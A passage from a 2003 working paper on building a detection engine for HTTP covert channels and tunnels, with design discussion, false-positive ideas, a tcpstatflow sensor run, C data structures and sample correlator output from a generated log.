http://www.silicondefense.com/products/freesoftware/spade/
[6]: SPICE - Stealthy Portscan and Intrusion Correlation Engine
http://www.silicondefense.com/products/freesoftware/spice/
[7]: Snort
http://www.snort.org/
[8]: WSH
http://www.gray-world.net/
[9]: FIREPASS
http://www.gray-world.net/
[10]: Hypertext Transfer Protocol -- HTTP/1.1, RFC 2616 , 1999
http://www.w3.org/Protocols/rfc2616/rfc2616.html
[11]: Intrusion Prevention Systems: the Next Step in the Evolution of IDS
Neil Desai - 27th of February 2003
http://www.securityfocus.com/infocus/1670
[12]: The Bible
http://www.thebible.net/read/
================================================================================
================================================================================
Current Working version - last updated the 5th of October 2003
================================================================================
If you have ideas about any topic and want to share them with us, then let us
know : we'll discuss these ideas and write them here so that people can have an
updated starting point to think on the topic.
=========================
IMPLEMENTATION DISCUSSION
=========================
This part consists in various remarks/ideas Alex and I spoke about during the
writing of the first version of this document. I choosed to write them down in
this working version so that people know why we kept some of the document parts.
Other parts are from the discussions Mic and I had since September 2003 (6/).
Implementation idea
-------------------
While writing this document, I first thought the best we could do would be to
code a Snort Preprocessor detection plugin. As a plugin, it would be called for
each packet and we could use the global struct of the stream4 preprocessor to
know about the TCP session state and the struct related to the http plugin to
get the whole HTTP messages from HTTP datagrams.
Theoretical questions
---------------------
1/ Should we add the 5 u_int32_t values of t_period_infos in all of the parents
data elems ? That is : do we update these values in real time and increase the
required memory ? or do we use more cpu resources to calculate these values
when there is need to do so ?
ALEX> Not a simple question :) Imho, such information should be updated
ALEX> regularly and not only when a next period ends. Because within 4 hours,
ALEX> I can hack a lot, tunnel x MB of arbitrary data and no one will stop me,
ALEX> because outbound_data_amount will be updated only in 4 hours.. Do i get
ALEX> your question right ? :) And i think that it will be not load CPU or MEM
ALEX> drastically.
SIMON> You're totally right :) I thought that this data struct could be enough
SIMON> because calculating average values would be done by the second part of
SIMON> the program : the correlator...
SIMON> If so we could export data through a socket for example and thus the
SIMON> required cpu and memory would not be used on the detection server...
SIMON> What do you think ?
ALEX> I'm think you are right ! :) We can use socket based asynchronous
ALEX> communication channel to drop data for it's future investigation, from a
ALEX> traffic collecting box to the traffic investigating one.
2/ Do the use of linked lists is the best one ? shall we use binary trees ? And
if we use that kind of struct, how do we use it ?
ALEX> :| No ideas... For me i prefer the linked lists in my C programs. The
ALEX> only problem is to write a clear linked lists management layer :)
SIMON> Right again ... I feel that a binary tree could be faster but cannot
SIMON> find a way to design such a storage :\
3/ I told in the conclusion part that it would be better to use a two part tool.
Maybe can we only use a one part client ? The preprocessor records information
onto the previous data structure during a learning period and when this learning
period is done we can apply statistical filters.
ALEX> No, it's good idea to make a constructor-like solution, it's more secure
ALEX> and from performance point of view it may be better.. (?)
ALEX> The first IDS part is a tiny, just collect passed traffic and pass some
ALEX> summary to another part, located on the bastion host. The second part is
ALEX> a mind of the IDS system and make all calculations, reports, history
ALEX> logging etc..
SIMON> Ok :) So we agree on the two part design.
4/ I cut this from the Alex thoughts about backdoor communications :
ALEX> The only way to do it, is to catch badly or just unusually crafted HTTP
ALEX> request/response messages from both sides of the Covert Channel. Here we
ALEX> can use some pre-generated statistical data to compare with a traffic
ALEX> passed trough IDS.
SIMON> When you speak about pre-generated data, do you only speak about the
SIMON> kind of info we present in the "2.3. WHAT KIND OF INFORMATIONS ARE WE
SIMON> PLANNING TO MONITOR ?" part ??? or do you think to another kind of
SIMON> stuff ?
ALEX> [Cut from mail]
SIMON> I added the 2.6. part.
5/ I removed that part as I could not easily find a concrete algorithm example.
It may be in the next version ?
SIMON> Scenario approach using the Bayes inference
SIMON> [CUT]
ALEX> IMHO it may be also a good idea to left this part in the current version
ALEX> even without examples..
SIMON> Done :)
6/ Using a detector engine watching at the upper layers of the OSI model to know
about the target server (COMMAND
http://xxx.x/xxx HTTP/X.0 and Host: xxx), do we
need to 'reverse-dns' hostnames ?
Let's think about not doing reverse-dns on hostnames : Various entries in the
data struct - each one recording its values - , automatic correlation on the
unique destination server difficult to implement, various evasion technics...
So, the question may be : If the CC&T detection engine is based on a
preprocessor and on a correlator, where is located the reverse-dns function ?
===========================
FALSE POSITIVE AND NEGATIVE
===========================
Mic pointed me to several detection underlying problems including the common
IDS problem of false positives and negative. Here are some thoughts from the
both of us you can read to learn more about all of this.
Thanks again Mic :)
False positive and negative definition
--------------------------------------
So that we all understand the same thing while speaking about this problem,
I consider that 'false positive' means that the detection engine raises alerts
when no CC|T occurs and that 'false negative' means that the detection engine
fails to raise alerts when a CC|T occurs.
Reducing false positive ideas
-----------------------------
The next presented ideas target lays on reducing the number of false positive
alerts the detection engine can raise. Some of them may be good while other may
be not so good but we consider that each time a false positive solution leads
too easily to false negative or requires too much storage then we cannot take it
in consideration.
a] learning period concept
If the detection engine is ran during a x minutes/hours/days learning
period, it can build user behavioral profiles closer to the network activities
than a statically crafted configuration file.
Adjusted at regular interval during the run time, the detection engine could
learn about user activities and choose to report alerts on specific thresholds
such as if detected activity is higher than the 10% rate set, then reports
medium event and if it is higher than a 30% rate set then reports high event.
b] Defined lists concept
Black lists :
-------------
In our area, it is based on always reporting alerts for some users, target
servers, defined profiles, etc...
Red lists :
-----------
In our area, it is based on setting profiles which shall not be reported
under a specifically defined rate. It may include :
* Don't report alert for this user;
* Don't report alert for this target server;
* Only report alert for this user if the rate is higher than x%;
* etc.
White lists :
-------------
In our area, it is based on never reporting alerts for some users, target
servers, defined profiles, etc...
Main problems laying on these Color based lists are related to their initial
configuration and updating process. It cannot be considered as an obvious task
and may require too much operator work to be really useful.
A specific problem for the white list is to avoid any false negative which
would be based on the kind of CC&T tool presented in '2.2.4. Legitimate third-
party model' of [1].
c] 'Information value' and 'Statistic plausibility check' concept
This concept lays on the information theory and may be applied for cleartext
protocols. Suppose that we can record information values for each exchanged
message then it means we can compare a current message with the previous one
in order to calculate a changed information value and report an alert if this
value is higher than a certain suspicious plausability threshold.
An idea, which is specific to the HTTP protocol would be to check the header
field 'if-modified'. Suppose we can digest the content value of a specific
HTTP URI. Then we can match if two URIs get different checksum and raise an
alert.
However, digesting HTTP messages is a 'not so good' idea for us because of
amount of storage and cpu ressource we will need to store that kind of
information. And note that even if this solution is implemented, CC specific
technics to bypass that kind of detection remain.
A 'may be good' example lays on interpreting known protocol fields to look
for a suspicious activity. For example, watching messages exchanged every 10
seconds while the HTML code tag used is <META HTTP-EQUIV="Refresh" CONTENT=
"60"> may be suspicious. But this would require again a way to store important
amounts of data...
But we think that as most of the detection methods fail because they don't
check the intrinsic value of HTTP messages, the only way to avoid bypassing
technics is to find a way to attribute informations values to monitored data
streams... A question remains which is : "Is it possible at all ?".
More false positive ideas
-------------------------
Examples of false positive not explicitly presented in the 2.4 part that Mic
suggested me include :
a] <META HTTP-EQUIV="Refresh" CONTENT="60">
<META HTTP-Equiv="pragma" content="no-cache">
We don't need a long speech to understand a superfluous trafic will be
recorded by the detection engine and that that kind of streams will lead us to
false positive on the (2), (3) and (4) tunnel traces types presented in 2.1.1.
Reducing false positive in this case can be done with the a], b] and c]
previously presented concepts.
b] The Pope has 2 sons ... Exclusively on
www.2sons-of-the-pope.vat.
This event can generate an important trafic but won't trigger (do it will ?)
any of the tunnel traces types presented in 2.1.1.
c] Multi-Users internal located stations (Unixes, Citrix, TS, etc.)
This case wasn't presented at all in this paper.
If the web user authenticates itself on the http mandatory proxy server and
if this authentication isn't done on a SSL session, then we have a way to know
about the user identity and use it as a key field. Unfortunately, I don't
think that NACS administrators who want to set up a CC&T detection engine will
allow that kind of traffic without SSL... So let's forget about it.
Another bad idea would be think again about the location of the detection
engine, to set it up behind the last internal http proxy (that is : it would
be the last hop before going out to the target server) and to monitor and
report alerts on a destination server basis.
Again, a bad idea would be to calculate average for this server and then
proceed to some advanced operation such as dividing values by the number of
known users then applying some statistical method and so on...
A 'may be good or may be not' idea could be based on previously a] learning
period concept. However, trying to detect CC|T trafic coming from such a multi
users server will totally miss carefully designed backdoor tools...
=======================
CURRENT WORK CONCLUSION
=======================
Now (on the 5th of October), I'm not so sure anymore about this - that is : do
we code a standalone 2 parts tools (detection and reporting) or do we use an
existing NIDS engine (such as Snort [7] or Prelude [
http://prelude-ids.org]) as
the core of the detection process and only code a plugin for our purpose...
Another thing is that I feel we could code the detection engine and try to
correlate informations manually to search if it is possible to automate the
correlation process ... And if it is not possible at all, then let us drop that
CCTDE project :)
Last thing I want to say is that Mic is trying on his own side to use a known
NIDS engine in order to detect most of the connected mode tunnel tools with
NIDS side scripts.
================================================================================
================================================================================
Current Working version - last updated the 6th of December 2003
================================================================================
===========
TCPSTATFLOW
===========
TcpStatFlow -
www.geocities.com/fryxar/ - is a tool I am looking at as a
network sensor. It is listening and recording network flows informations and
raising alarms when monitored values exceed configured thresholds.
Example : a.b.c.d is a Debian box using the HTTP CONNECT method available on a
mandatory server (w.x.y.z) to bypass the NACS in order to reach an external
sshd server.
We run TSF using -y 10 to alert if the connection duration exceeds 10 seconds.
home/simsim/tmp/tcpstatflow# ./tcpstatflow -v -t 10 -y 10 host a.b.c.d
./tcpstatflow[4296]: ./tcpstatflow version 1.0 by Fryxar (Thanks Jeremy\
Elson!)
./tcpstatflow[4296]: looking for handler for datalink type 1 for interface\
eth0
./tcpstatflow[4296]: listening on eth0
./tcpstatflow[4296]: Detecting a new flow: a.b.c.d:1044->w.x.y.z:3128
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: new flow
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow TX
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow TX
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow TX
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow TX
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow RX
[...]
Stats= mallocs: 1, cleans: 0, reuses: 0, flows: 1, Packets: 250 drops: 178\
(71%)
./tcpstatflow[4296]: a.b.c.d:1044->w.x.y.z:3128: flow TX
Potencial tunnel = a.b.c.d:1044->w.x.y.z:3128: packets rx=27 tx=45, bytes\
rx=2684 tx=1868, seconds=11
./tcpstatflow[4296]: Clearing flow a.b.c.d:1044->w.x.y.z:3128
========================
RECORDING DATAS FROM TSF
========================
If you look at the code, you'll see in tcpflow.h that TSF is using a structure
flow_state_struct which links to a flow_t struct and that using these fields, we
will be able to get most of the informations we were planning to monitor in the
'2.3. WHAT KIND OF INFORMATIONS ARE WE PLANNING TO MONITOR ?' part of this
document.
I coded a small add-on which allows recording each ending connection into a
logfile. With this add-on, each TSF monitored connection is stored on the disk
from the the distroy_flow_state() function before it is removed from the TSF
monitored flows. Thus, if the sensor fails to detect a tunnel because the
uptime value threshold to exceed is 5 minutes and the tunneling tool is dropping
the tunnel each 3 minutes, we will perhaps be able to detect the tunnel if we
analyse the connections sequence.
When I concluded the last current working version, I thought the best would be
to code, to grab informations from the wire and to try to detect with our own
eyes if - as humans - we can detect a tunnel. I suppose so that if I cannot
see the difference between a tunnel and a legitimate flow, then I have no idea
how we can design an automated tool...
============================
CORRELATING TSF INFORMATIONS
============================
The TSF modified sensor records each flow_state_struct in a binary format into
a log file. The correlator is reading the log file and is storing each event
(connection) into a linked list.
I am using three different main lists to get a client view, a server view and
a time based view of the recorded datas.
STORING METHOD
==============
I am using linked lists to store each connection but I know a binary tree
would be more efficient.
The linked list functions are generic : adding, updating and looking for an
element - sorting output or not - and is based on the following struct
definition :
typedef struct s_list_elem {
struct s_list_elem *prev;
struct s_list_elem *next;
void *data;
u_int32_t sizeofdata;
} t_list_elem;
typedef struct s_list_main {
u_int32_t elem_nb;
u_int32_t sizeof_elem;
t_list_elem *first;
t_list_elem *last;
t_list_elem *ladded;
t_list_elem *lupdated;
} t_list_main;
CLIENT AND SERVER VIEWS
=======================
The main structure definition for the views are stored at the addresses
pointed by the data field of the t_list_elem element of the linked list.
typedef struct s_primary_view {
u_int32_t ip;
u_int16_t port;
u_int32_t tcp_nb;
u_int32_t packet_rx;
u_int32_t packet_tx;
u_int32_t bytes_rx;
u_int32_t bytes_tx;
time_t time_creation;
time_t time_last_access;
u_int32_t com_uptime;
t_list_main secondary_list;
/* Only used in timeperiod view */
u_int32_t ip_d;
u_int16_t port_d;
} t_primary_view;
The t_primary_view struct is used to store the current level of elements and
is storing a pointer to another linked list in order to store next levels.
Given the next example, we will have a client and a server view :
06/12/03 - 13H58 - 10.1.1.1:1234->10.1.1.7:80
06/12/03 - 13H58 - 10.1.1.1:1235->10.1.1.7:80
06/12/03 - 13H59 - 10.1.1.1:1236->10.1.1.8:80
06/12/03 - 14H00 - 10.1.1.2:1237->10.1.1.7:80
06/12/03 - 14H01 - 10.1.1.3:1238->10.1.1.7:80
Client view Server view :
1st level 1st level
2nd level 2nd level
3rd level 3rd level
10.1.1.1 10.1.1.7:80
10.1.1.7:80 10.1.1.1
10.1.1.1:1234 10.1.1.1:1234
10.1.1.1:1235 10.1.1.1:1235
10.1.1.8:80 10.1.1.2
10.1.1.1:1236 10.1.1.2:1237
10.1.1.2 10.1.1.3
10.1.1.7:80 10.1.1.3:1238
10.1.1.2:1237 10.1.1.8:80
10.1.1.3 10.1.1.1
10.1.1.7:80 10.1.1.1:1236
10.1.1.3:1238
TIME VIEWS
==========
The main structure used to store the time view is :
typedef struct s_period_view {
int tm_mon;
int tm_mday;
int tm_hour;
int tm_min;
t_list_main secondary_list;
} t_period_view;
If we use the previous example, we will have
06/12/03 - 13H58 - 10.1.1.1:1234->10.1.1.7:80
06/12/03 - 13H58 - 10.1.1.1:1235->10.1.1.7:80
06/12/03 - 13H59 - 10.1.1.1:1236->10.1.1.8:80
06/12/03 - 14H00 - 10.1.1.2:1237->10.1.1.7:80
06/12/03 - 14H01 - 10.1.1.3:1238->10.1.1.7:80
Time view
1st level
2nd level
3rd level
06/12/03 - 13H
13H58
10.1.1.1:1234->10.1.1.7:80
10.1.1.1:1235->10.1.1.7:80
13H59
10.1.1.1:1236->10.1.1.8:80
06/12/03 - 14H
14H00
10.1.1.2:1237->10.1.1.7:80
10.1.1.3:1238->10.1.1.7:80
==============
REAL-WORLD RUN
==============
And here is a "real world" run. I used a small piece of code to generate a
TSF fake log file and ran the correlator over it - Between {comments}, you'll
have comments about this output.
{This is the debug output displaying entries readed from the log file}
db_in_file : Openning 'test.log' logfile.
DBing 10.1.1.9:1118->10.1.2.2:8080: packets rx=3 tx=4, bytes rx=116 tx=35, seconds=0
DBing 10.1.1.9:1120->10.1.2.2:8080: packets rx=6 tx=7, bytes rx=116 tx=610, seconds=1
DBing 10.1.1.9:1122->10.1.2.2:8080: packets rx=6 tx=7, bytes rx=116 tx=610, seconds=1
DBing 10.1.1.9:1124->10.1.2.2:8080: packets rx=10 tx=9, bytes rx=1084 tx=1050, seconds=2
DBing 10.1.1.9:1127->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.9:1128->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.10:1130->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.11:1131->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.11:1132->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.11:1133->10.1.2.57:80: packets rx=1 tx=5, bytes rx=279 tx=109, seconds=0
DBing 10.1.1.9:1025->10.1.2.2:3128: packets rx=256 tx=1024, bytes rx=2048 tx=8192, seconds=60
DBing 10.1.1.3:1037->10.1.2.2:3128: packets rx=256 tx=1024, bytes rx=2048 tx=8192, seconds=13
DBing 10.1.1.100:1247->10.1.2.2:3128: packets rx=8 tx=2, bytes rx=64 tx=16, seconds=7
DBing 10.1.1.99:1448->10.1.2.2:3128: packets rx=6 tx=2, bytes rx=48 tx=16, seconds=4
DBing 10.1.1.99:1449->10.1.2.2:3128: packets rx=6 tx=2, bytes rx=48 tx=16, seconds=1
DBing 10.1.1.99:1450->10.1.2.2:3128: packets rx=6 tx=2, bytes rx=48 tx=16, seconds=2
DBing 10.1.1.99:1450->10.1.2.1:3128: packets rx=6 tx=2, bytes rx=48 tx=16, seconds=1
DBing 10.1.1.99:1451->10.1.2.1:3128: packets rx=16 tx=2, bytes rx=128 tx=16, seconds=2
DBing 10.1.1.100:3754->10.1.2.2:443: packets rx=32 tx=8, bytes rx=256 tx=64, seconds=7
DBing 10.1.1.5:3437->10.1.2.48:80: packets rx=32 tx=2, bytes rx=256 tx=16, seconds=2
DBing 10.1.1.5:3437->10.1.2.48:80: packets rx=32 tx=2, bytes rx=256 tx=16, seconds=2
db_in_file : Logfile readed...
{Main stats, we now have 3 linked lists - client,server,time}
Events main stats :
o 7 events recorded in the client list.
o 6 events recorded in the server list.
o 2 events recorded in the timeperiod list.
o First connection event was recorded at : 24/11/2003 15:30:17.
o Last connection event was recorded at : 25/11/2003 14:28:57.
{Displaying entries of the client view list - level after levels - no particular sort}
Basic statistics (per client view) :
o 10.1.1.5 (1069766935-1069766939) : TcpCon 2, packets rx=64 tx=4, bytes rx=512 tx=32, Uptime 4
$ 10.1.2.48:80 (1069766935-1069766939): TcpCon 2, packets rx=64 tx=4, bytes rx=512 tx=32, Uptime 4
# 10.1.1.5:3437 (1069766937-1069766939): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
# 10.1.1.5:3437 (1069766935-1069766937): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
o 10.1.1.99 (1069766921-1069766930) : TcpCon 5, packets rx=40 tx=10, bytes rx=320 tx=80, Uptime 10
$ 10.1.2.1:3128 (1069766926-1069766930): TcpCon 2, packets rx=22 tx=4, bytes rx=176 tx=32, Uptime 3
# 10.1.1.99:1451 (1069766928-1069766930): packets rx=16 tx=2, bytes rx=128 tx=16, Uptime 2
# 10.1.1.99:1450 (1069766926-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
$ 10.1.2.2:3128 (1069766921-1069766927): TcpCon 3, packets rx=18 tx=6, bytes rx=144 tx=48, Uptime 7
# 10.1.1.99:1450 (1069766925-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 2
# 10.1.1.99:1449 (1069766921-1069766922): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
# 10.1.1.99:1448 (1069766921-1069766925): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 4
o 10.1.1.100 (1069766921-1069766937) : TcpCon 2, packets rx=40 tx=10, bytes rx=320 tx=80, Uptime 14
$ 10.1.2.2:443 (1069766930-1069766937): TcpCon 1, packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
# 10.1.1.100:3754 (1069766930-1069766937): packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
$ 10.1.2.2:3128 (1069766921-1069766928): TcpCon 1, packets rx=8 tx=2, bytes rx=64 tx=16, Uptime 7
# 10.1.1.100:1247 (1069766921-1069766928): packets rx=8 tx=2, bytes rx=64 tx=16, Uptime 7
o 10.1.1.3 (1069766915-1069766928) : TcpCon 1, packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
$ 10.1.2.2:3128 (1069766915-1069766928): TcpCon 1, packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
# 10.1.1.3:1037 (1069766915-1069766928): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
o 10.1.1.11 (1069766912-1069766913) : TcpCon 3, packets rx=3 tx=15, bytes rx=837 tx=327, Uptime 0
$ 10.1.2.57:80 (1069766912-1069766913): TcpCon 3, packets rx=3 tx=15, bytes rx=837 tx=327, Uptime 0
# 10.1.1.11:1133 (1069766913-1069766913): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.11:1132 (1069766913-1069766913): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.11:1131 (1069766912-1069766912): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
o 10.1.1.10 (1069766894-1069766894) : TcpCon 1, packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
$ 10.1.2.57:80 (1069766894-1069766894): TcpCon 1, packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.10:1130 (1069766894-1069766894): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
o 10.1.1.9 (1069684217-1069766973) : TcpCon 7, packets rx=283 tx=1061, bytes rx=4038 tx=10715, Uptime 64
$ 10.1.2.2:3128 (1069766913-1069766973): TcpCon 1, packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 60
# 10.1.1.9:1025 (1069766913-1069766973): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 60
$ 10.1.2.57:80 (1069766648-1069766738): TcpCon 2, packets rx=2 tx=10, bytes rx=558 tx=218, Uptime 0
# 10.1.1.9:1128 (1069766738-1069766738): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.9:1127 (1069766648-1069766648): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
$ 10.1.2.2:8080 (1069684217-1069684228): TcpCon 4, packets rx=25 tx=27, bytes rx=1432 tx=2305, Uptime 4
# 10.1.1.9:1124 (1069684226-1069684228): packets rx=10 tx=9, bytes rx=1084 tx=1050, Uptime 2
# 10.1.1.9:1122 (1069684223-1069684224): packets rx=6 tx=7, bytes rx=116 tx=610, Uptime 1
# 10.1.1.9:1120 (1069684220-1069684221): packets rx=6 tx=7, bytes rx=116 tx=610, Uptime 1
# 10.1.1.9:1118 (1069684217-1069684217): packets rx=3 tx=4, bytes rx=116 tx=35, Uptime 0
{same for the server view}
Basic statistics (per server view) :
Number of elements : 6 - Sizeof(element) : 72 bytes - Sizeof(list) : 473 bytes
o 10.1.2.48:80 (1069766935-1069766939) : TcpCon 2, packets rx=64 tx=4, bytes rx=512 tx=32, Uptime 4
Number of elements : 1 - Sizeof(element) : 72 bytes - Sizeof(list) : 113 bytes
$ 10.1.1.5 (1069766935-1069766939): TcpCon 2, packets rx=64 tx=4, bytes rx=512 tx=32, Uptime 4
# 10.1.1.5:3437 (1069766937-1069766939): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
# 10.1.1.5:3437 (1069766935-1069766937): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
o 10.1.2.2:443 (1069766930-1069766937) : TcpCon 1, packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
Number of elements : 1 - Sizeof(element) : 72 bytes - Sizeof(list) : 113 bytes
$ 10.1.1.100 (1069766930-1069766937): TcpCon 1, packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
# 10.1.1.100:3754 (1069766930-1069766937): packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
o 10.1.2.1:3128 (1069766926-1069766930) : TcpCon 2, packets rx=22 tx=4, bytes rx=176 tx=32, Uptime 3
Number of elements : 1 - Sizeof(element) : 72 bytes - Sizeof(list) : 113 bytes
$ 10.1.1.99 (1069766926-1069766930): TcpCon 2, packets rx=22 tx=4, bytes rx=176 tx=32, Uptime 3
# 10.1.1.99:1451 (1069766928-1069766930): packets rx=16 tx=2, bytes rx=128 tx=16, Uptime 2
# 10.1.1.99:1450 (1069766926-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
o 10.1.2.2:3128 (1069766913-1069766927) : TcpCon 6, packets rx=538 tx=2056, bytes rx=4304 tx=16448, Uptime 87
Number of elements : 4 - Sizeof(element) : 72 bytes - Sizeof(list) : 329 bytes
$ 10.1.1.99 (1069766921-1069766927): TcpCon 3, packets rx=18 tx=6, bytes rx=144 tx=48, Uptime 7
# 10.1.1.99:1450 (1069766925-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 2
# 10.1.1.99:1449 (1069766921-1069766922): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
# 10.1.1.99:1448 (1069766921-1069766925): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 4
$ 10.1.1.100 (1069766921-1069766928): TcpCon 1, packets rx=8 tx=2, bytes rx=64 tx=16, Uptime 7
# 10.1.1.100:1247 (1069766921-1069766928): packets rx=8 tx=2, bytes rx=64 tx=16, Uptime 7
$ 10.1.1.3 (1069766915-1069766928): TcpCon 1, packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
# 10.1.1.3:1037 (1069766915-1069766928): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
$ 10.1.1.9 (1069766913-1069766973): TcpCon 1, packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 60
# 10.1.1.9:1025 (1069766913-1069766973): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 60
o 10.1.2.57:80 (1069766648-1069766913) : TcpCon 6, packets rx=6 tx=30, bytes rx=1674 tx=654, Uptime 0
Number of elements : 3 - Sizeof(element) : 72 bytes - Sizeof(list) : 257 bytes
$ 10.1.1.11 (1069766912-1069766913): TcpCon 3, packets rx=3 tx=15, bytes rx=837 tx=327, Uptime 0
# 10.1.1.11:1133 (1069766913-1069766913): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.11:1132 (1069766913-1069766913): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.11:1131 (1069766912-1069766912): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
$ 10.1.1.10 (1069766894-1069766894): TcpCon 1, packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.10:1130 (1069766894-1069766894): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
$ 10.1.1.9 (1069766648-1069766738): TcpCon 2, packets rx=2 tx=10, bytes rx=558 tx=218, Uptime 0
# 10.1.1.9:1128 (1069766738-1069766738): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
# 10.1.1.9:1127 (1069766648-1069766648): packets rx=1 tx=5, bytes rx=279 tx=109, Uptime 0
o 10.1.2.2:8080 (1069684217-1069684228) : TcpCon 4, packets rx=25 tx=27, bytes rx=1432 tx=2305, Uptime 4
Number of elements : 1 - Sizeof(element) : 72 bytes - Sizeof(list) : 113 bytes
$ 10.1.1.9 (1069684217-1069684228): TcpCon 4, packets rx=25 tx=27, bytes rx=1432 tx=2305, Uptime 4
# 10.1.1.9:1124 (1069684226-1069684228): packets rx=10 tx=9, bytes rx=1084 tx=1050, Uptime 2
# 10.1.1.9:1122 (1069684223-1069684224): packets rx=6 tx=7, bytes rx=116 tx=610, Uptime 1
# 10.1.1.9:1120 (1069684220-1069684221): packets rx=6 tx=7, bytes rx=116 tx=610, Uptime 1
# 10.1.1.9:1118 (1069684217-1069684217): packets rx=3 tx=4, bytes rx=116 tx=35, Uptime 0
{same for the timeperiod view}
Basic statistics (per timeperiod view) :
o 25/10 at 14H
$ minute 24
# 10.1.1.5:3437->10.1.2.48:80 (1069766937-1069766939): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
# 10.1.1.5:3437->10.1.2.48:80 (1069766935-1069766937): packets rx=32 tx=2, bytes rx=256 tx=16, Uptime 2
# 10.1.1.100:3754->10.1.2.2:443 (1069766930-1069766937): packets rx=32 tx=8, bytes rx=256 tx=64, Uptime 7
# 10.1.1.99:1451->10.1.2.1:3128 (1069766928-1069766930): packets rx=16 tx=2, bytes rx=128 tx=16, Uptime 2
# 10.1.1.99:1450->10.1.2.1:3128 (1069766926-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
# 10.1.1.99:1450->10.1.2.2:3128 (1069766925-1069766927): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 2
# 10.1.1.99:1449->10.1.2.2:3128 (1069766921-1069766922): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 1
# 10.1.1.99:1448->10.1.2.2:3128 (1069766921-1069766925): packets rx=6 tx=2, bytes rx=48 tx=16, Uptime 4
# 10.1.1.100:1247->10.1.2.2:3128 (1069766921-1069766928): packets rx=8 tx=2, bytes rx=64 tx=16, Uptime 7
# 10.1.1.3:1037->10.1.2.2:3128 (1069766915-1069766928): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 13
# 10.1.1.9:1025->10.1.2.2:3128 (1069766913-1069766973): packets rx=256 tx=1024, bytes rx=2048 tx=8192, Uptime 60
&
